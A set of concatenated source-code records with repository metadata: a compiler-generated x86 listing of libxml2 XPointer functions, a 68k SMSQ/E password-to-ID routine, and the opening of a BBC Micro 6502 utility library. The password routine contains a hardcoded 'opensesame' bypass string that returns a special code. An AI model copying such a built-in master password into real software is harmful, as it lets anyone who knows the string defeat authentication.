; 804 : newset = xmlXPtrLocationSetCreate(NULL);
push 0
call _xmlXPtrLocationSetCreate
add esp, 4
mov DWORD PTR _newset$1$[ebp], eax
; 805 : if (newset == NULL)
test eax, eax
je SHORT $LN6@xmlXPtrNew
; 806 : return(ret);
; 807 :
; 808 : for (i = 0;i < set->nodeNr;i++)
push esi
xor esi, esi
cmp DWORD PTR [edi], esi
jle SHORT $LN3@xmlXPtrNew
mov ebx, eax
npad 7
$LL4@xmlXPtrNew:
; 809 : xmlXPtrLocationSetAdd(newset,
mov eax, DWORD PTR [edi+8]
mov eax, DWORD PTR [eax+esi*4]
; 513 : if (start == NULL)
test eax, eax
je SHORT $LN11@xmlXPtrNew
$LN12@xmlXPtrNew:
; 514 : return(NULL);
; 515 :
; 516 : ret = xmlXPtrNewRangeInternal(start, -1, NULL, -1);
push -1
push 0
push -1
push eax
call _xmlXPtrNewRangeInternal
add esp, 16 ; 00000010H
$LN11@xmlXPtrNew:
; 809 : xmlXPtrLocationSetAdd(newset,
push eax
push ebx
call _xmlXPtrLocationSetAdd
inc esi
add esp, 8
cmp esi, DWORD PTR [edi]
jl SHORT $LL4@xmlXPtrNew
mov ebx, DWORD PTR _ret$1$[ebp]
mov eax, DWORD PTR _newset$1$[ebp]
$LN3@xmlXPtrNew:
; 810 : xmlXPtrNewCollapsedRange(set->nodeTab[i]));
; 811 :
; 812 : ret->user = (void *) newset;
mov DWORD PTR [ebx+28], eax
pop esi
$LN6@xmlXPtrNew:
; 813 : }
; 814 : return(ret);
pop edi
mov eax, ebx
pop ebx
; 815 : }
mov esp, ebp
pop ebp
ret 0
_xmlXPtrNewLocationSetNodeSet ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrNewLocationSetNodes
_TEXT SEGMENT
_start$ = 8 ; size = 4
_end$ = 12 ; size = 4
_xmlXPtrNewLocationSetNodes PROC ; COMDAT
; 763 : xmlXPtrNewLocationSetNodes(xmlNodePtr start, xmlNodePtr end) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
push 48 ; 00000030H
call DWORD PTR _xmlMalloc
mov esi, eax
add esp, 4
test esi, esi
jne SHORT $LN2@xmlXPtrNew
; 80 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_XPOINTER,
push OFFSET ??_C@_0BH@HNICMPAH@allocating?5locationset@
push OFFSET ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@
push eax
push eax
push eax
push eax
push OFFSET ??_C@_0BH@HNICMPAH@allocating?5locationset@
push eax
push eax
push 2
push 2
push 13 ; 0000000dH
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 764 : xmlXPathObjectPtr ret;
; 765 :
; 766 : ret = (xmlXPathObjectPtr) xmlMalloc(sizeof(xmlXPathObject));
; 767 : if (ret == NULL) {
; 768 : xmlXPtrErrMemory("allocating locationset");
; 769 : return(NULL);
xor eax, eax
pop esi
; 778 : }
pop ebp
ret 0
$LN2@xmlXPtrNew:
push edi
; 770 : }
; 771 : memset(ret, 0 , (size_t) sizeof(xmlXPathObject));
push 48 ; 00000030H
push 0
push esi
call _memset
; 772 : ret->type = XPATH_LOCATIONSET;
; 773 : if (end == NULL)
mov eax, DWORD PTR _end$[ebp]
add esp, 12 ; 0000000cH
mov DWORD PTR [esi], 7
test eax, eax
jne SHORT $LN3@xmlXPtrNew
; 513 : if (start == NULL)
mov eax, DWORD PTR _start$[ebp]
test eax, eax
je SHORT $LN15@xmlXPtrNew
; 514 : return(NULL);
; 515 :
; 516 : ret = xmlXPtrNewRangeInternal(start, -1, NULL, -1);
push -1
push 0
push -1
push eax
call _xmlXPtrNewRangeInternal
add esp, 16 ; 00000010H
; 517 : return(ret);
mov edi, eax
; 774 : ret->user = xmlXPtrLocationSetCreate(xmlXPtrNewCollapsedRange(start));
; 775 : else
; 776 : ret->user = xmlXPtrLocationSetCreate(xmlXPtrNewRangeNodes(start,end));
; 777 : return(ret);
push edi
call _xmlXPtrLocationSetCreate
add esp, 4
mov DWORD PTR [esi+28], eax
mov eax, esi
pop edi
pop esi
; 778 : }
pop ebp
ret 0
$LN3@xmlXPtrNew:
; 491 : if (start == NULL)
mov ecx, DWORD PTR _start$[ebp]
test ecx, ecx
jne SHORT $LN12@xmlXPtrNew
$LN15@xmlXPtrNew:
; 774 : ret->user = xmlXPtrLocationSetCreate(xmlXPtrNewCollapsedRange(start));
; 775 : else
; 776 : ret->user = xmlXPtrLocationSetCreate(xmlXPtrNewRangeNodes(start,end));
; 777 : return(ret);
xor edi, edi
push edi
call _xmlXPtrLocationSetCreate
add esp, 4
mov DWORD PTR [esi+28], eax
mov eax, esi
pop edi
pop esi
; 778 : }
pop ebp
ret 0
$LN12@xmlXPtrNew:
; 496 : ret = xmlXPtrNewRangeInternal(start, -1, end, -1);
push -1
push eax
push -1
push ecx
call _xmlXPtrNewRangeInternal
mov edi, eax
; 497 : xmlXPtrRangeCheckOrder(ret);
push edi
call _xmlXPtrRangeCheckOrder
add esp, 20 ; 00000014H
; 774 : ret->user = xmlXPtrLocationSetCreate(xmlXPtrNewCollapsedRange(start));
; 775 : else
; 776 : ret->user = xmlXPtrLocationSetCreate(xmlXPtrNewRangeNodes(start,end));
; 777 : return(ret);
push edi
call _xmlXPtrLocationSetCreate
add esp, 4
mov DWORD PTR [esi+28], eax
mov eax, esi
pop edi
pop esi
; 778 : }
pop ebp
ret 0
_xmlXPtrNewLocationSetNodes ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrNewRangeNodes
_TEXT SEGMENT
_start$ = 8 ; size = 4
_end$ = 12 ; size = 4
_xmlXPtrNewRangeNodes PROC ; COMDAT
; 488 : xmlXPtrNewRangeNodes(xmlNodePtr start, xmlNodePtr end) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _start$[ebp]
test ecx, ecx
je SHORT $LN5@xmlXPtrNew
; 489 : xmlXPathObjectPtr ret;
; 490 :
; 491 : if (start == NULL)
; 492 : return(NULL);
; 493 : if (end == NULL)
mov eax, DWORD PTR _end$[ebp]
test eax, eax
je SHORT $LN5@xmlXPtrNew
; 495 :
; 496 : ret = xmlXPtrNewRangeInternal(start, -1, end, -1);
push esi
push -1
push eax
push -1
push ecx
call _xmlXPtrNewRangeInternal
mov esi, eax
; 497 : xmlXPtrRangeCheckOrder(ret);
push esi
call _xmlXPtrRangeCheckOrder
add esp, 20 ; 00000014H
; 498 : return(ret);
mov eax, esi
pop esi
; 499 : }
pop ebp
ret 0
$LN5@xmlXPtrNew:
; 494 : return(NULL);
xor eax, eax
; 499 : }
pop ebp
ret 0
_xmlXPtrNewRangeNodes ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrNewRangePointNode
_TEXT SEGMENT
_start$ = 8 ; size = 4
_end$ = 12 ; size = 4
_xmlXPtrNewRangePointNode PROC ; COMDAT
; 438 : xmlXPtrNewRangePointNode(xmlXPathObjectPtr start, xmlNodePtr end) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _start$[ebp]
test eax, eax
je SHORT $LN6@xmlXPtrNew
; 439 : xmlXPathObjectPtr ret;
; 440 :
; 441 : if (start == NULL)
; 442 : return(NULL);
; 443 : if (end == NULL)
mov ecx, DWORD PTR _end$[ebp]
test ecx, ecx
je SHORT $LN6@xmlXPtrNew
; 444 : return(NULL);
; 445 : if (start->type != XPATH_POINT)
cmp DWORD PTR [eax], 5
jne SHORT $LN6@xmlXPtrNew
; 447 :
; 448 : ret = xmlXPtrNewRangeInternal(start->user, start->index, end, -1);
push esi
push -1
push ecx
push DWORD PTR [eax+32]
push DWORD PTR [eax+28]
call _xmlXPtrNewRangeInternal
mov esi, eax
; 449 : xmlXPtrRangeCheckOrder(ret);
push esi
call _xmlXPtrRangeCheckOrder
add esp, 20 ; 00000014H
; 450 : return(ret);
mov eax, esi
pop esi
; 451 : }
pop ebp
ret 0
$LN6@xmlXPtrNew:
; 446 : return(NULL);
xor eax, eax
; 451 : }
pop ebp
ret 0
_xmlXPtrNewRangePointNode ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrNewRangeNodePoint
_TEXT SEGMENT
_start$ = 8 ; size = 4
_end$ = 12 ; size = 4
_xmlXPtrNewRangeNodePoint PROC ; COMDAT
; 463 : xmlXPtrNewRangeNodePoint(xmlNodePtr start, xmlXPathObjectPtr end) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _start$[ebp]
test ecx, ecx
je SHORT $LN6@xmlXPtrNew
; 464 : xmlXPathObjectPtr ret;
; 465 :
; 466 : if (start == NULL)
; 467 : return(NULL);
; 468 : if (end == NULL)
mov eax, DWORD PTR _end$[ebp]
test eax, eax
je SHORT $LN6@xmlXPtrNew
; 469 : return(NULL);
; 470 : if (end->type != XPATH_POINT)
cmp DWORD PTR [eax], 5
jne SHORT $LN6@xmlXPtrNew
; 472 :
; 473 : ret = xmlXPtrNewRangeInternal(start, -1, end->user, end->index);
push esi
push DWORD PTR [eax+32]
push DWORD PTR [eax+28]
push -1
push ecx
call _xmlXPtrNewRangeInternal
mov esi, eax
; 474 : xmlXPtrRangeCheckOrder(ret);
push esi
call _xmlXPtrRangeCheckOrder
add esp, 20 ; 00000014H
; 475 : return(ret);
mov eax, esi
pop esi
; 476 : }
pop ebp
ret 0
$LN6@xmlXPtrNew:
; 471 : return(NULL);
xor eax, eax
; 476 : }
pop ebp
ret 0
_xmlXPtrNewRangeNodePoint ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrNewRangePoints
_TEXT SEGMENT
_start$ = 8 ; size = 4
_end$ = 12 ; size = 4
_xmlXPtrNewRangePoints PROC ; COMDAT
; 410 : xmlXPtrNewRangePoints(xmlXPathObjectPtr start, xmlXPathObjectPtr end) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _start$[ebp]
test ecx, ecx
je SHORT $LN7@xmlXPtrNew
; 411 : xmlXPathObjectPtr ret;
; 412 :
; 413 : if (start == NULL)
; 414 : return(NULL);
; 415 : if (end == NULL)
mov eax, DWORD PTR _end$[ebp]
test eax, eax
je SHORT $LN7@xmlXPtrNew
; 416 : return(NULL);
; 417 : if (start->type != XPATH_POINT)
cmp DWORD PTR [ecx], 5
jne SHORT $LN7@xmlXPtrNew
; 418 : return(NULL);
; 419 : if (end->type != XPATH_POINT)
cmp DWORD PTR [eax], 5
jne SHORT $LN7@xmlXPtrNew
; 421 :
; 422 : ret = xmlXPtrNewRangeInternal(start->user, start->index, end->user,
push esi
push DWORD PTR [eax+32]
push DWORD PTR [eax+28]
push DWORD PTR [ecx+32]
push DWORD PTR [ecx+28]
call _xmlXPtrNewRangeInternal
mov esi, eax
; 423 : end->index);
; 424 : xmlXPtrRangeCheckOrder(ret);
push esi
call _xmlXPtrRangeCheckOrder
add esp, 20 ; 00000014H
; 425 : return(ret);
mov eax, esi
pop esi
; 426 : }
pop ebp
ret 0
$LN7@xmlXPtrNew:
; 420 : return(NULL);
xor eax, eax
; 426 : }
pop ebp
ret 0
_xmlXPtrNewRangePoints ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrNewRange
_TEXT SEGMENT
_start$ = 8 ; size = 4
_startindex$ = 12 ; size = 4
_end$ = 16 ; size = 4
_endindex$ = 20 ; size = 4
_xmlXPtrNewRange PROC ; COMDAT
; 383 : xmlNodePtr end, int endindex) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _start$[ebp]
test ecx, ecx
je SHORT $LN7@xmlXPtrNew
; 384 : xmlXPathObjectPtr ret;
; 385 :
; 386 : if (start == NULL)
; 387 : return(NULL);
; 388 : if (end == NULL)
mov eax, DWORD PTR _end$[ebp]
test eax, eax
je SHORT $LN7@xmlXPtrNew
; 389 : return(NULL);
; 390 : if (startindex < 0)
mov edx, DWORD PTR _startindex$[ebp]
test edx, edx
js SHORT $LN7@xmlXPtrNew
; 391 : return(NULL);
; 392 : if (endindex < 0)
mov esi, DWORD PTR _endindex$[ebp]
test esi, esi
js SHORT $LN7@xmlXPtrNew
; 394 :
; 395 : ret = xmlXPtrNewRangeInternal(start, startindex, end, endindex);
push esi
push eax
push edx
push ecx
call _xmlXPtrNewRangeInternal
mov esi, eax
; 396 : xmlXPtrRangeCheckOrder(ret);
push esi
call _xmlXPtrRangeCheckOrder
add esp, 20 ; 00000014H
; 397 : return(ret);
mov eax, esi
pop esi
; 398 : }
pop ebp
ret 0
$LN7@xmlXPtrNew:
; 393 : return(NULL);
xor eax, eax
pop esi
; 398 : }
pop ebp
ret 0
_xmlXPtrNewRange ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrLocationSetMerge
_TEXT SEGMENT
_i$1$ = 8 ; size = 4
_val1$ = 8 ; size = 4
_val2$ = 12 ; size = 4
_xmlXPtrLocationSetMerge PROC ; COMDAT
; 665 : xmlXPtrLocationSetMerge(xmlLocationSetPtr val1, xmlLocationSetPtr val2) {
push ebp
mov ebp, esp
push edi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _val1$[ebp]
test edi, edi
jne SHORT $LN5@xmlXPtrLoc
; 666 : int i;
; 667 :
; 668 : if (val1 == NULL) return(NULL);
xor eax, eax
pop edi
; 680 : }
pop ebp
ret 0
$LN5@xmlXPtrLoc:
; 669 : if (val2 == NULL) return(val1);
mov eax, DWORD PTR _val2$[ebp]
test eax, eax
je $LN3@xmlXPtrLoc
; 670 :
; 671 : /*
; 672 : * !!!!! this can be optimized a lot, knowing that both
; 673 : * val1 and val2 already have unicity of their values.
; 674 : */
; 675 :
; 676 : for (i = 0;i < val2->locNr;i++)
push esi
xor esi, esi
mov DWORD PTR _i$1$[ebp], esi
cmp DWORD PTR [eax], esi
jle $LN47@xmlXPtrLoc
push ebx
$LL4@xmlXPtrLoc:
; 677 : xmlXPtrLocationSetAdd(val1, val2->locTab[i]);
mov eax, DWORD PTR [eax+8]
mov esi, DWORD PTR [eax+esi*4]
; 615 : if ((cur == NULL) || (val == NULL)) return;
test esi, esi
je $LN2@xmlXPtrLoc
; 616 :
; 617 : /*
; 618 : * check against doublons
; 619 : */
; 620 : for (i = 0;i < cur->locNr;i++) {
mov ebx, DWORD PTR [edi]
xor edx, edx
test ebx, ebx
jle SHORT $LN10@xmlXPtrLoc
; 320 : if (range1->user != range2->user)
mov ebx, DWORD PTR [edi+8]
npad 3
$LL11@xmlXPtrLoc:
; 621 : if (xmlXPtrRangesEqual(cur->locTab[i], val)) {
mov eax, DWORD PTR [ebx]
; 312 : if (range1 == range2)
cmp eax, esi
je SHORT $LN36@xmlXPtrLoc
; 313 : return(1);
; 314 : if ((range1 == NULL) || (range2 == NULL))
test eax, eax
je SHORT $LN24@xmlXPtrLoc
; 315 : return(0);
; 316 : if (range1->type != range2->type)
mov ecx, DWORD PTR [eax]
cmp ecx, DWORD PTR [esi]
jne SHORT $LN24@xmlXPtrLoc
; 317 : return(0);
; 318 : if (range1->type != XPATH_RANGE)
cmp ecx, 6
jne SHORT $LN24@xmlXPtrLoc
; 319 : return(0);
; 320 : if (range1->user != range2->user)
mov ecx, DWORD PTR [eax+28]
cmp ecx, DWORD PTR [esi+28]
jne SHORT $LN24@xmlXPtrLoc
; 321 : return(0);
; 322 : if (range1->index != range2->index)
mov ecx, DWORD PTR [eax+32]
cmp ecx, DWORD PTR [esi+32]
jne SHORT $LN24@xmlXPtrLoc
; 323 : return(0);
; 324 : if (range1->user2 != range2->user2)
mov ecx, DWORD PTR [eax+36]
cmp ecx, DWORD PTR [esi+36]
jne SHORT $LN24@xmlXPtrLoc
; 325 : return(0);
; 326 : if (range1->index2 != range2->index2)
mov eax, DWORD PTR [eax+40]
cmp eax, DWORD PTR [esi+40]
je SHORT $LN36@xmlXPtrLoc
$LN24@xmlXPtrLoc:
; 620 : for (i = 0;i < cur->locNr;i++) {
inc edx
add ebx, 4
cmp edx, DWORD PTR [edi]
jl SHORT $LL11@xmlXPtrLoc
mov ebx, DWORD PTR [edi]
$LN10@xmlXPtrLoc:
; 624 : }
; 625 : }
; 626 :
; 627 : /*
; 628 : * grow the locTab if needed
; 629 : */
; 630 : if (cur->locMax == 0) {
mov eax, DWORD PTR [edi+4]
test eax, eax
jne SHORT $LN15@xmlXPtrLoc
; 631 : cur->locTab = (xmlXPathObjectPtr *) xmlMalloc(XML_RANGESET_DEFAULT *
push 40 ; 00000028H
call DWORD PTR _xmlMalloc
add esp, 4
mov DWORD PTR [edi+8], eax
; 632 : sizeof(xmlXPathObjectPtr));
; 633 : if (cur->locTab == NULL) {
test eax, eax
jne SHORT $LN17@xmlXPtrLoc
; 80 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_XPOINTER,
push OFFSET ??_C@_0BH@MIMPNDJH@adding?5location?5to?5set@
push OFFSET ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@
push eax
push eax
push eax
push eax
push OFFSET ??_C@_0BH@MIMPNDJH@adding?5location?5to?5set@
push eax
push eax
push 2
push 2
push 13 ; 0000000dH
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 635 : return;
jmp SHORT $LN2@xmlXPtrLoc
$LN36@xmlXPtrLoc:
; 622 : xmlXPathFreeObject(val);
push esi
call _xmlXPathFreeObject
add esp, 4
; 623 : return;
jmp SHORT $LN2@xmlXPtrLoc
$LN17@xmlXPtrLoc:
xorps xmm0, xmm0
; 636 : }
; 637 : memset(cur->locTab, 0 ,
movups XMMWORD PTR [eax], xmm0
movups XMMWORD PTR [eax+16], xmm0
movq QWORD PTR [eax+32], xmm0
; 638 : XML_RANGESET_DEFAULT * (size_t) sizeof(xmlXPathObjectPtr));
; 639 : cur->locMax = XML_RANGESET_DEFAULT;
mov DWORD PTR [edi+4], 10 ; 0000000aH
jmp SHORT $LN18@xmlXPtrLoc
$LN15@xmlXPtrLoc:
; 640 : } else if (cur->locNr == cur->locMax) {
cmp ebx, eax
jne SHORT $LN18@xmlXPtrLoc
; 641 : xmlXPathObjectPtr *temp;
; 642 :
; 643 : cur->locMax *= 2;
add eax, eax
mov DWORD PTR [edi+4], eax
; 644 : temp = (xmlXPathObjectPtr *) xmlRealloc(cur->locTab, cur->locMax *
shl eax, 2
push eax
push DWORD PTR [edi+8]
call DWORD PTR _xmlRealloc
add esp, 8
; 645 : sizeof(xmlXPathObjectPtr));
; 646 : if (temp == NULL) {
test eax, eax
jne SHORT $LN19@xmlXPtrLoc
; 647 : xmlXPtrErrMemory("adding location to set");
push OFFSET ??_C@_0BH@MIMPNDJH@adding?5location?5to?5set@
call _xmlXPtrErrMemory
add esp, 4
; 648 : return;
jmp SHORT $LN2@xmlXPtrLoc
$LN19@xmlXPtrLoc:
; 649 : }
; 650 : cur->locTab = temp;
mov DWORD PTR [edi+8], eax
$LN18@xmlXPtrLoc:
; 651 : }
; 652 : cur->locTab[cur->locNr++] = val;
mov ecx, DWORD PTR [edi]
mov eax, DWORD PTR [edi+8]
mov DWORD PTR [eax+ecx*4], esi
inc DWORD PTR [edi]
$LN2@xmlXPtrLoc:
; 670 :
; 671 : /*
; 672 : * !!!!! this can be optimized a lot, knowing that both
; 673 : * val1 and val2 already have unicity of their values.
; 674 : */
; 675 :
; 676 : for (i = 0;i < val2->locNr;i++)
mov esi, DWORD PTR _i$1$[ebp]
mov eax, DWORD PTR _val2$[ebp]
inc esi
mov DWORD PTR _i$1$[ebp], esi
cmp esi, DWORD PTR [eax]
jl $LL4@xmlXPtrLoc
pop ebx
$LN47@xmlXPtrLoc:
pop esi
$LN3@xmlXPtrLoc:
; 678 :
; 679 : return(val1);
mov eax, edi
pop edi
; 680 : }
pop ebp
ret 0
_xmlXPtrLocationSetMerge ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrFreeLocationSet
_TEXT SEGMENT
_obj$ = 8 ; size = 4
_xmlXPtrFreeLocationSet PROC ; COMDAT
; 739 : xmlXPtrFreeLocationSet(xmlLocationSetPtr obj) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _obj$[ebp]
test esi, esi
je SHORT $LN1@xmlXPtrFre
; 740 : int i;
; 741 :
; 742 : if (obj == NULL) return;
; 743 : if (obj->locTab != NULL) {
mov eax, DWORD PTR [esi+8]
test eax, eax
je SHORT $LN6@xmlXPtrFre
; 744 : for (i = 0;i < obj->locNr; i++) {
push edi
xor edi, edi
cmp DWORD PTR [esi], edi
jle SHORT $LN3@xmlXPtrFre
$LL4@xmlXPtrFre:
; 745 : xmlXPathFreeObject(obj->locTab[i]);
mov eax, DWORD PTR [esi+8]
push DWORD PTR [eax+edi*4]
call _xmlXPathFreeObject
inc edi
add esp, 4
cmp edi, DWORD PTR [esi]
jl SHORT $LL4@xmlXPtrFre
mov eax, DWORD PTR [esi+8]
$LN3@xmlXPtrFre:
; 746 : }
; 747 : xmlFree(obj->locTab);
push eax
call DWORD PTR _xmlFree
add esp, 4
pop edi
$LN6@xmlXPtrFre:
; 748 : }
; 749 : xmlFree(obj);
push esi
call DWORD PTR _xmlFree
add esp, 4
$LN1@xmlXPtrFre:
pop esi
; 750 : }
pop ebp
ret 0
_xmlXPtrFreeLocationSet ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrLocationSetCreate
_TEXT SEGMENT
_val$ = 8 ; size = 4
_xmlXPtrLocationSetCreate PROC ; COMDAT
; 578 : xmlXPtrLocationSetCreate(xmlXPathObjectPtr val) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
push 12 ; 0000000cH
call DWORD PTR _xmlMalloc
mov esi, eax
add esp, 4
test esi, esi
jne SHORT $LN2@xmlXPtrLoc
; 80 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_XPOINTER,
push OFFSET ??_C@_0BH@HNICMPAH@allocating?5locationset@
push OFFSET ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@
push eax
push eax
push eax
push eax
push OFFSET ??_C@_0BH@HNICMPAH@allocating?5locationset@
push eax
push eax
push 2
push 2
push 13 ; 0000000dH
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 579 : xmlLocationSetPtr ret;
; 580 :
; 581 : ret = (xmlLocationSetPtr) xmlMalloc(sizeof(xmlLocationSet));
; 582 : if (ret == NULL) {
; 583 : xmlXPtrErrMemory("allocating locationset");
; 584 : return(NULL);
xor eax, eax
pop esi
; 601 : }
pop ebp
ret 0
$LN2@xmlXPtrLoc:
push edi
; 585 : }
; 586 : memset(ret, 0 , (size_t) sizeof(xmlLocationSet));
; 587 : if (val != NULL) {
mov edi, DWORD PTR _val$[ebp]
xorps xmm0, xmm0
movq QWORD PTR [esi], xmm0
mov DWORD PTR [esi+8], 0
test edi, edi
je SHORT $LN3@xmlXPtrLoc
; 588 : ret->locTab = (xmlXPathObjectPtr *) xmlMalloc(XML_RANGESET_DEFAULT *
push 40 ; 00000028H
call DWORD PTR _xmlMalloc
add esp, 4
mov DWORD PTR [esi+8], eax
; 589 : sizeof(xmlXPathObjectPtr));
; 590 : if (ret->locTab == NULL) {
test eax, eax
jne SHORT $LN4@xmlXPtrLoc
; 591 : xmlXPtrErrMemory("allocating locationset");
push OFFSET ??_C@_0BH@HNICMPAH@allocating?5locationset@
call _xmlXPtrErrMemory
; 592 : xmlFree(ret);
push esi
call DWORD PTR _xmlFree
add esp, 8
; 593 : return(NULL);
xor eax, eax
pop edi
pop esi
; 601 : }
pop ebp
ret 0
$LN4@xmlXPtrLoc:
xorps xmm0, xmm0
; 594 : }
; 595 : memset(ret->locTab, 0 ,
movups XMMWORD PTR [eax], xmm0
movups XMMWORD PTR [eax+16], xmm0
movq QWORD PTR [eax+32], xmm0
; 596 : XML_RANGESET_DEFAULT * (size_t) sizeof(xmlXPathObjectPtr));
; 597 : ret->locMax = XML_RANGESET_DEFAULT;
; 598 : ret->locTab[ret->locNr++] = val;
mov ecx, DWORD PTR [esi]
mov eax, DWORD PTR [esi+8]
mov DWORD PTR [esi+4], 10 ; 0000000aH
mov DWORD PTR [eax+ecx*4], edi
inc DWORD PTR [esi]
$LN3@xmlXPtrLoc:
; 599 : }
; 600 : return(ret);
pop edi
mov eax, esi
pop esi
; 601 : }
pop ebp
ret 0
_xmlXPtrLocationSetCreate ENDP
_TEXT ENDS
END
| 20.378027 | 112 | 0.636929 |
6b8fe97bf8d01e43d6c7ae71f6cab7f25a502571 | 1,320 | asm | Assembly | uti/password.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | uti/password.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | uti/password.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; Convert password string into long 2000 Jochen Merz
section utility
xdef ut_password
include dev8_keys_err
pw.buff equ 16
;---
; Converts standard string password of up to 16 characters into a longword ID.
;
; Entry Exit
; D1 password ID or 0 for no password
; A0 ptr to password
;
; Error returns: orng string too long
; +1 "opensesame" ... your last hope
;---
ut_password
pw.reg reg d2/a1
movem.l pw.reg,-(sp)
moveq #0,d0 ; all is OK so far
moveq #0,d1 ; assume no password
move.w (a0)+,d2 ; password length
beq.s pass_ret
cmp.w #pw.buff,d2 ; will it fit?
bge.s pass_orng
cmp.w #10,d2 ; special password?
bne.s no_sesame
cmp.l #'open',(a0) ; "opensesame"?
bne.s no_sesame
cmp.w #'se',4(a0)
bne.s no_sesame
cmp.l #'same',6(a0)
bne.s no_sesame
moveq #1,d0
bra.s pass_ret
no_sesame
sub.l #pw.buff,sp
move.l sp,a1
move.l #$ac65eb37,(a1)+ ; fill some odd values
move.l #$56ca73be,(a1)+
move.l #$c65ab37e,(a1)+
move.l #$6ca53be7,(a1)
move.l sp,a1
move.w d2,d0
subq.w #1,d2 ; prepare for DBRA
pass_loop
move.b (a0)+,d1
eor.b d1,(a1)+
dbra d2,pass_loop
move.l (sp),d1
add.l 4(sp),d1
add.l 8(sp),d1
add.l 12(sp),d1
add.w d0,d1
add.l #pw.buff,sp
moveq #0,d0
bra.s pass_ret
pass_orng
moveq #err.orng,d0
pass_ret
movem.l (sp)+,pw.reg
tst.l d0
rts
end
| 18.591549 | 78 | 0.662879 |
c79c5363709cf911d10efefc30e31e9b47e6843e | 7,485 | asm | Assembly | bu_lib.asm | monkeyman79/beebutils | 275601e95ce47bf14015aeae98cdb268876d0ab4 | [
"MIT"
] | null | null | null | bu_lib.asm | monkeyman79/beebutils | 275601e95ce47bf14015aeae98cdb268876d0ab4 | [
"MIT"
] | null | null | null | bu_lib.asm | monkeyman79/beebutils | 275601e95ce47bf14015aeae98cdb268876d0ab4 | [
"MIT"
] | null | null | null | HIMEM=&7700
MC%=HIMEM
osrdrm=&FFB9
osargs=&FFDA
osasci=&FFE3
osword=&FFF1
osbyte=&FFF4
oscli=&FFF7
escf=&FF
brkv=&202
fx200=&258
stack=&100
zp=&A8
ORG MC%
GUARD &7C00
\ Y,X = 6 bytes block: WORD ptr1, WORD ptr2, WORD size
.memcmp_vect JMP memcmp
\ Y,X = 5 bytes block: WORD ptr1, BYTE val, WORD size
.memset_vect JMP memset
\ Y,X = 8 bytes block: DWORD vaddr, WORD addr, WORD size
.hexdump_vect JMP hexdump
\ Y,X = address of integer number to show, A = number of digits
.printhnum_vect JMP hnum
\ A = byte to show
.printhbyte_vect JMP hbyte
\ Uses CALL block at address &600
.addrof_vect JMP addrof
\ X = rom number
.printrom_vect JMP printrom
\ Same parameters as OSBYTE
.XOSBYTE_vect JMP XOSBYTE
\ Same parameters as OSWORD
.XOSWORD_vect JMP XOSWORD
\ Same parameters as OSCLI
